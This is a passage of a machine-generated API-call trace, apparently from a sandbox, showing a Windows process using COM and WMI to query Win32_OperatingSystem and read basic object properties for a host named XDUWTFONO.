WbemLocator:IUnknown:Release (This=0x1ca51720) returned 0x0 [0080.546] WbemLocator:IUnknown:QueryInterface (in: This=0x1ca544f8, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd2a0 | out: ppvObject=0x1c7fd2a0*=0x19eb40) returned 0x0 [0080.547] WbemLocator:IUnknown:QueryInterface (in: This=0x19eb40, riid=0x7fef2f0d850*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1c7fd320 | out: ppvObject=0x1c7fd320*=0x0) returned 0x80004002 [0080.547] WbemLocator:IUnknown:QueryInterface (in: This=0x19eb40, riid=0x7fef2f0d2c0*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1c7fd0b8 | out: ppvObject=0x1c7fd0b8*=0x0) returned 0x80004002 [0080.550] WbemLocator:IUnknown:AddRef (This=0x19eb40) returned 0x3 [0080.551] CoGetContextToken (in: pToken=0x1c7fcf70 | out: pToken=0x1c7fcf70) returned 0x0 [0080.551] WbemLocator:IUnknown:QueryInterface (in: This=0x19eb40, riid=0x7fef2f0d2b0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fcf30 | out: ppvObject=0x1c7fcf30*=0x19ea28) returned 0x0 [0080.551] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x19ea28, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1c7fcf60 | out: pCid=0x1c7fcf60*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.551] WbemLocator:IUnknown:Release (This=0x19ea28) returned 0x3 [0080.552] CoGetContextToken (in: pToken=0x1c7fcf40 | out: pToken=0x1c7fcf40) returned 0x0 [0080.552] WbemLocator:IUnknown:AddRef (This=0x19eb40) returned 0x4 [0080.552] WbemLocator:IUnknown:QueryInterface (in: This=0x19eb40, riid=0x7fef2f0d280*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd058 | out: ppvObject=0x1c7fd058*=0x19eb10) returned 0x0 [0080.552] WbemLocator:IUnknown:Release (This=0x19eb40) returned 0x4 [0080.552] WbemLocator:IRpcOptions:Query (in: This=0x19eb10, pPrx=0x19eb40, dwProperty=2, pdwValue=0x1c7fd0c8 | out: pdwValue=0x1c7fd0c8) returned 0x80004002 [0080.552] WbemLocator:IUnknown:Release (This=0x19eb10) returned 0x3 [0080.555] WbemLocator:IUnknown:Release (This=0x19eb40) returned 0x2 [0080.556] CoGetContextToken (in: pToken=0x1c7fd440 | out: pToken=0x1c7fd440) returned 0x0 [0080.556] CoGetContextToken (in: pToken=0x1c7fd380 | out: pToken=0x1c7fd380) returned 0x0 [0080.556] WbemLocator:IUnknown:AddRef (This=0x19eb40) returned 0x3 [0080.556] WbemLocator:IUnknown:QueryInterface (in: This=0x19eb40, riid=0x1c7fd4c0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1c7fd4a0 | out: ppvObject=0x1c7fd4a0*=0x1ca544f8) returned 0x0 [0080.556] WbemLocator:IUnknown:Release (This=0x19eb40) returned 0x3 [0080.556] WbemLocator:IUnknown:Release (This=0x1ca544f8) returned 0x2 [0080.561] WbemLocator:IUnknown:Release (This=0x1ca544f8) returned 0x1 [0080.562] CoGetContextToken (in: pToken=0x1c7fda40 | out: pToken=0x1c7fda40) returned 0x0 [0080.563] WbemLocator:IUnknown:AddRef (This=0x19eb40) returned 0x2 [0080.563] WbemLocator:IUnknown:QueryInterface (in: This=0x19eb40, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd610 | out: ppvObject=0x1c7fd610*=0x19eb40) returned 0x0 [0080.564] WbemLocator:IUnknown:Release (This=0x19eb40) returned 0x2 [0080.564] WbemLocator:IUnknown:Release (This=0x19eb40) returned 0x1 [0080.564] CoGetContextToken (in: pToken=0x1c7fd6e0 | out: pToken=0x1c7fd6e0) returned 0x0 [0080.564] CoGetContextToken (in: pToken=0x1c7fd620 | out: pToken=0x1c7fd620) returned 0x0 [0080.565] WbemLocator:IUnknown:AddRef (This=0x19eb40) returned 0x2 [0080.565] WbemLocator:IUnknown:QueryInterface (in: This=0x19eb40, riid=0x1c7fd760*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1c7fd740 | out: ppvObject=0x1c7fd740*=0x1ca544f8) returned 0x0 [0080.565] WbemLocator:IUnknown:Release (This=0x19eb40) returned 0x2 [0080.565] WbemLocator:IUnknown:AddRef (This=0x1ca544f8) returned 0x3 [0080.566] IWbemServices:ExecQuery (in: This=0x1ca544f8, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1c7fdbd8 | out: ppEnum=0x1c7fdbd8*=0x1ca545f8) returned 0x0 [0080.574] IUnknown:QueryInterface (in: This=0x1ca545f8, riid=0x642ffff1468*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd7e8 | out: ppvObject=0x1c7fd7e8*=0x1ca54600) returned 0x0 [0080.575] IClientSecurity:QueryBlanket (in: This=0x1ca54600, pProxy=0x1ca545f8, pAuthnSvc=0x1c7fd7e0, pAuthzSvc=0x1c7fd7dc, pServerPrincName=0x1c7fd808, pAuthnLevel=0x1c7fd7d8, pImpLevel=0x1c7fd7f4, pAuthInfo=0x1c7fd818, pCapabilites=0x1c7fd7f0 | out: pAuthnSvc=0x1c7fd7e0*=0xa, pAuthzSvc=0x1c7fd7dc*=0x0, pServerPrincName=0x1c7fd808, pAuthnLevel=0x1c7fd7d8*=0x6, pImpLevel=0x1c7fd7f4*=0x2, pAuthInfo=0x1c7fd818, pCapabilites=0x1c7fd7f0*=0x1) returned 0x0 [0080.575] IUnknown:Release (This=0x1ca54600) returned 0x1 [0080.575] IUnknown:QueryInterface (in: This=0x1ca545f8, riid=0x642ffff1458*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd788 | out: ppvObject=0x1c7fd788*=0x19e840) returned 0x0 [0080.575] IUnknown:QueryInterface (in: This=0x1ca545f8, riid=0x642ffff1468*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd718 | out: ppvObject=0x1c7fd718*=0x1ca54600) returned 0x0 [0080.575] IClientSecurity:SetBlanket (This=0x1ca54600, pProxy=0x1ca545f8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0080.578] IUnknown:Release (This=0x1ca54600) returned 0x2 [0080.578] WbemLocator:IUnknown:Release (This=0x19e840) returned 0x1 [0080.578] CoTaskMemFree (pv=0x1b7bacf0) [0080.578] IUnknown:QueryInterface (in: This=0x1ca545f8, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd3c0 | out: ppvObject=0x1c7fd3c0*=0x19e840) returned 0x0 [0080.579] WbemLocator:IUnknown:QueryInterface (in: This=0x19e840, riid=0x7fef2f0d850*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1c7fd440 | out: ppvObject=0x1c7fd440*=0x0) returned 0x80004002 [0080.579] WbemLocator:IUnknown:QueryInterface (in: This=0x19e840, riid=0x7fef2f0d2c0*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1c7fd1d8 | out: ppvObject=0x1c7fd1d8*=0x0) returned 0x80004002 [0080.580] WbemLocator:IUnknown:AddRef (This=0x19e840) returned 0x3 [0080.580] CoGetContextToken (in: pToken=0x1c7fd090 | out: pToken=0x1c7fd090) returned 0x0 [0080.580] WbemLocator:IUnknown:QueryInterface (in: This=0x19e840, riid=0x7fef2f0d2b0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd050 | out: ppvObject=0x1c7fd050*=0x19e728) returned 0x0 [0080.581] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x19e728, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1c7fd080 | out: pCid=0x1c7fd080*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.581] WbemLocator:IUnknown:Release (This=0x19e728) returned 0x3 [0080.581] CoGetContextToken (in: pToken=0x1c7fd060 | out: pToken=0x1c7fd060) returned 0x0 [0080.581] WbemLocator:IUnknown:AddRef (This=0x19e840) returned 0x4 [0080.581] WbemLocator:IUnknown:QueryInterface (in: This=0x19e840, riid=0x7fef2f0d280*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd178 | out: ppvObject=0x1c7fd178*=0x19e810) returned 0x0 [0080.582] WbemLocator:IUnknown:Release (This=0x19e840) returned 0x4 [0080.582] WbemLocator:IRpcOptions:Query (in: This=0x19e810, pPrx=0x19e840, dwProperty=2, pdwValue=0x1c7fd1e8 | out: pdwValue=0x1c7fd1e8) returned 0x80004002 [0080.582] WbemLocator:IUnknown:Release (This=0x19e810) returned 0x3 [0080.582] WbemLocator:IUnknown:Release (This=0x19e840) returned 0x2 [0080.582] CoGetContextToken (in: pToken=0x1c7fd560 | out: pToken=0x1c7fd560) returned 0x0 [0080.582] CoGetContextToken (in: pToken=0x1c7fd4a0 | out: pToken=0x1c7fd4a0) returned 0x0 [0080.583] WbemLocator:IUnknown:AddRef (This=0x19e840) returned 0x3 [0080.583] WbemLocator:IUnknown:QueryInterface (in: This=0x19e840, riid=0x1c7fd5e0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1c7fd5c0 | out: ppvObject=0x1c7fd5c0*=0x1ca545f8) returned 0x0 [0080.583] WbemLocator:IUnknown:Release (This=0x19e840) returned 0x3 [0080.583] IUnknown:Release (This=0x1ca545f8) returned 0x2 [0080.583] IUnknown:Release (This=0x1ca545f8) returned 0x1 [0080.584] WbemLocator:IUnknown:Release (This=0x1ca544f8) returned 0x2 [0080.584] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1ca41390, puCount=0x1c7fdb80 | out: puCount=0x1c7fdb80*=0x2) returned 0x0 [0080.584] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fdb80*=0x0, pszText=0x0 | out: puBuffLength=0x1c7fdb80*=0x17, pszText=0x0) returned 0x0 [0080.585] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fdb80*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x1c7fdb80*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0080.590] CoGetContextToken (in: pToken=0x1c7fd780 | out: pToken=0x1c7fd780) returned 0x0 [0080.590] CoGetContextToken (in: pToken=0x1c7fd6c0 | out: pToken=0x1c7fd6c0) returned 0x0 [0080.590] WbemLocator:IUnknown:AddRef (This=0x19e840) returned 0x2 [0080.590] WbemLocator:IUnknown:QueryInterface (in: This=0x19e840, riid=0x1c7fd800*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1c7fd7e0 | out: ppvObject=0x1c7fd7e0*=0x1ca545f8) returned 0x0 [0080.590] WbemLocator:IUnknown:Release (This=0x19e840) returned 0x2 [0080.590] IUnknown:AddRef (This=0x1ca545f8) returned 0x3 [0080.590] IEnumWbemClassObject:Clone (in: This=0x1ca545f8, ppEnum=0x1c7fdc40 | out: ppEnum=0x1c7fdc40*=0x1ca54788) returned 0x0 [0080.591] IUnknown:QueryInterface (in: This=0x1ca54788, riid=0x642ffff1468*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd898 | out: ppvObject=0x1c7fd898*=0x1ca54790) returned 0x0 [0080.592] IClientSecurity:QueryBlanket (in: This=0x1ca54790, pProxy=0x1ca54788, pAuthnSvc=0x1c7fd890, pAuthzSvc=0x1c7fd88c, pServerPrincName=0x1c7fd8b8, pAuthnLevel=0x1c7fd888, pImpLevel=0x1c7fd8a4, pAuthInfo=0x1c7fd8c8, pCapabilites=0x1c7fd8a0 | out: pAuthnSvc=0x1c7fd890*=0xa, pAuthzSvc=0x1c7fd88c*=0x0, pServerPrincName=0x1c7fd8b8, pAuthnLevel=0x1c7fd888*=0x6, pImpLevel=0x1c7fd8a4*=0x2, pAuthInfo=0x1c7fd8c8, pCapabilites=0x1c7fd8a0*=0x1) returned 0x0 [0080.592] IUnknown:Release (This=0x1ca54790) returned 0x1 [0080.592] IUnknown:QueryInterface (in: This=0x1ca54788, riid=0x642ffff1458*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd838 | out: ppvObject=0x1c7fd838*=0x19ee40) returned 0x0 [0080.592] IUnknown:QueryInterface (in: This=0x1ca54788, riid=0x642ffff1468*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd7c8 | out: ppvObject=0x1c7fd7c8*=0x1ca54790) returned 0x0 [0080.592] IClientSecurity:SetBlanket (This=0x1ca54790, pProxy=0x1ca54788, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0080.593] IUnknown:Release (This=0x1ca54790) returned 0x2 [0080.593] WbemLocator:IUnknown:Release (This=0x19ee40) returned 0x1 [0080.593] CoTaskMemFree (pv=0x1b7bad20) [0080.594] IUnknown:QueryInterface (in: This=0x1ca54788, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd460 | out: ppvObject=0x1c7fd460*=0x19ee40) returned 0x0 [0080.594] WbemLocator:IUnknown:QueryInterface (in: This=0x19ee40, riid=0x7fef2f0d850*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1c7fd4e0 | out: ppvObject=0x1c7fd4e0*=0x0) returned 0x80004002 [0080.594] WbemLocator:IUnknown:QueryInterface (in: This=0x19ee40, riid=0x7fef2f0d2c0*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1c7fd278 | out: ppvObject=0x1c7fd278*=0x0) returned 0x80004002 [0080.595] WbemLocator:IUnknown:AddRef (This=0x19ee40) returned 0x3 [0080.595] CoGetContextToken (in: pToken=0x1c7fd130 | out: pToken=0x1c7fd130) returned 0x0 [0080.595] WbemLocator:IUnknown:QueryInterface (in: This=0x19ee40, riid=0x7fef2f0d2b0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd0f0 | out: ppvObject=0x1c7fd0f0*=0x19ed28) returned 0x0 [0080.595] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x19ed28, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1c7fd120 | out: pCid=0x1c7fd120*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.595] WbemLocator:IUnknown:Release (This=0x19ed28) returned 0x3 [0080.595] CoGetContextToken (in: pToken=0x1c7fd100 | out: pToken=0x1c7fd100) returned 0x0 [0080.595] WbemLocator:IUnknown:AddRef (This=0x19ee40) returned 0x4 [0080.595] WbemLocator:IUnknown:QueryInterface (in: This=0x19ee40, riid=0x7fef2f0d280*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd218 | out: ppvObject=0x1c7fd218*=0x19ee10) returned 0x0 [0080.596] WbemLocator:IUnknown:Release (This=0x19ee40) returned 0x4 [0080.596] WbemLocator:IRpcOptions:Query (in: This=0x19ee10, pPrx=0x19ee40, dwProperty=2, pdwValue=0x1c7fd288 | out: pdwValue=0x1c7fd288) returned 0x80004002 [0080.596] WbemLocator:IUnknown:Release (This=0x19ee10) returned 0x3 [0080.596] WbemLocator:IUnknown:Release (This=0x19ee40) returned 0x2 [0080.596] CoGetContextToken (in: pToken=0x1c7fd600 | out: pToken=0x1c7fd600) returned 0x0 [0080.596] CoGetContextToken (in: pToken=0x1c7fd540 | out: pToken=0x1c7fd540) returned 0x0 [0080.596] WbemLocator:IUnknown:AddRef (This=0x19ee40) returned 0x3 [0080.596] WbemLocator:IUnknown:QueryInterface (in: This=0x19ee40, riid=0x1c7fd680*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1c7fd660 | out: ppvObject=0x1c7fd660*=0x1ca54788) returned 0x0 [0080.596] WbemLocator:IUnknown:Release (This=0x19ee40) returned 0x3 [0080.597] IUnknown:Release (This=0x1ca54788) returned 0x2 [0080.597] IUnknown:Release (This=0x1ca54788) returned 0x1 [0080.597] IUnknown:Release (This=0x1ca545f8) returned 0x2 [0080.600] CoGetContextToken (in: pToken=0x1c7fda00 | out: pToken=0x1c7fda00) returned 0x0 [0080.600] CoGetContextToken (in: pToken=0x1c7fd940 | out: pToken=0x1c7fd940) returned 0x0 [0080.600] WbemLocator:IUnknown:AddRef (This=0x19ee40) returned 0x2 [0080.600] WbemLocator:IUnknown:QueryInterface (in: This=0x19ee40, riid=0x1c7fda80*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1c7fda60 | out: ppvObject=0x1c7fda60*=0x1ca54788) returned 0x0 [0080.600] WbemLocator:IUnknown:Release (This=0x19ee40) returned 0x2 [0080.600] IUnknown:AddRef (This=0x1ca54788) returned 0x3 [0080.600] IEnumWbemClassObject:Reset (This=0x1ca54788) returned 0x0 [0080.601] IUnknown:Release (This=0x1ca54788) returned 0x2 [0080.608] CoTaskMemAlloc (cb=0x8) returned 0x1b7bc2e0 [0080.609] IEnumWbemClassObject:Next (in: This=0x1ca54788, lTimeout=-1, uCount=0x1, apObjects=0x1b7bc2e0, puReturned=0x1c7fdc88 | out: apObjects=0x1b7bc2e0*=0x1ca54830, puReturned=0x1c7fdc88*=0x1) returned 0x0 [0080.612] IUnknown:QueryInterface (in: This=0x1ca54830, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fcfb0 | out: ppvObject=0x1c7fcfb0*=0x1ca54830) returned 0x0 [0080.613] IUnknown:QueryInterface (in: This=0x1ca54830, riid=0x7fef2f0d850*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1c7fd030 | out: ppvObject=0x1c7fd030*=0x0) returned 0x80004002 [0080.613] IUnknown:QueryInterface (in: This=0x1ca54830, riid=0x7fef2f0d2c0*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1c7fcdc8 | out: ppvObject=0x1c7fcdc8*=0x0) returned 0x80004002 [0080.613] IUnknown:AddRef (This=0x1ca54830) returned 0x3 [0080.613] CoGetContextToken (in: pToken=0x1c7fcc80 | out: pToken=0x1c7fcc80) returned 0x0 [0080.613] IUnknown:QueryInterface (in: This=0x1ca54830, riid=0x7fef2f0d2b0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fcc40 | out: ppvObject=0x1c7fcc40*=0x1ca54838) returned 0x0 [0080.614] IMarshal:GetUnmarshalClass (in: This=0x1ca54838, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1c7fcc70 | out: pCid=0x1c7fcc70*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0080.614] IUnknown:Release (This=0x1ca54838) returned 0x3 [0080.614] CoGetContextToken (in: pToken=0x1c7fcc50 | out: pToken=0x1c7fcc50) returned 0x0 [0080.614] IUnknown:AddRef (This=0x1ca54830) returned 0x4 [0080.614] IUnknown:QueryInterface (in: This=0x1ca54830, riid=0x7fef2f0d280*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fcd68 | out: ppvObject=0x1c7fcd68*=0x0) returned 0x80004002 [0080.614] IUnknown:Release (This=0x1ca54830) returned 0x3 [0080.615] IUnknown:Release (This=0x1ca54830) returned 0x2 [0080.615] CoGetContextToken (in: pToken=0x1c7fd110 | out: pToken=0x1c7fd110) returned 0x0 [0080.615] CoGetContextToken (in: pToken=0x1c7fd050 | out: pToken=0x1c7fd050) returned 0x0 [0080.615] IUnknown:AddRef (This=0x1ca54830) returned 0x3 [0080.615] IUnknown:QueryInterface (in: This=0x1ca54830, riid=0x1c7fd190*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1c7fd170 | out: ppvObject=0x1c7fd170*=0x1ca54830) returned 0x0 [0080.616] IUnknown:Release (This=0x1ca54830) returned 0x3 [0080.616] IUnknown:Release (This=0x1ca54830) returned 0x2 [0080.617] IUnknown:Release (This=0x1ca54830) returned 0x1 [0080.617] CoTaskMemFree (pv=0x1b7bc2e0) [0080.617] CoGetContextToken (in: pToken=0x1c7fda90 | out: pToken=0x1c7fda90) returned 0x0 [0080.617] IUnknown:AddRef (This=0x1ca54830) returned 0x2 [0080.624] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__GENUS", lFlags=0, pVal=0x1c7fdc00*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fdbfc*=0, plFlavor=0x1c7fdbf8*=0 | out: pVal=0x1c7fdc00*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1c7fdbfc*=3, plFlavor=0x1c7fdbf8*=64) returned 0x0 [0080.633] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__PATH", lFlags=0, pVal=0x1c7fdba0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fdb9c*=0, plFlavor=0x1c7fdb98*=0 | out: pVal=0x1c7fdba0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XDUWTFONO\"", varVal2=0x0), pType=0x1c7fdb9c*=8, plFlavor=0x1c7fdb98*=64) returned 0x0 [0080.633] SysStringLen (param_1="\\\\XDUWTFONO\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XDUWTFONO\"") returned 0x3f [0080.633] CoGetObjectContext (in: riid=0x1c7fdb38*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1c7fdb30 | out: ppv=0x1c7fdb30*=0xc03c8) returned 0x0 [0080.634] IComThreadingInfo:GetCurrentApartmentType (in: This=0xc03c8, pAptType=0x1c7fdb50 | out: pAptType=0x1c7fdb50*=1) returned 0x0 [0080.634] IUnknown:QueryInterface (in: This=0xc03c8, riid=0x5344b20*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1c7fdc58 | out: ppvObject=0x1c7fdc58*=0x0) returned 0x80004002 [0080.634] IUnknown:Release (This=0xc03c8) returned 0x1 [0080.637] CoGetClassObject (in: rclsid=0x1b7a9928*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, 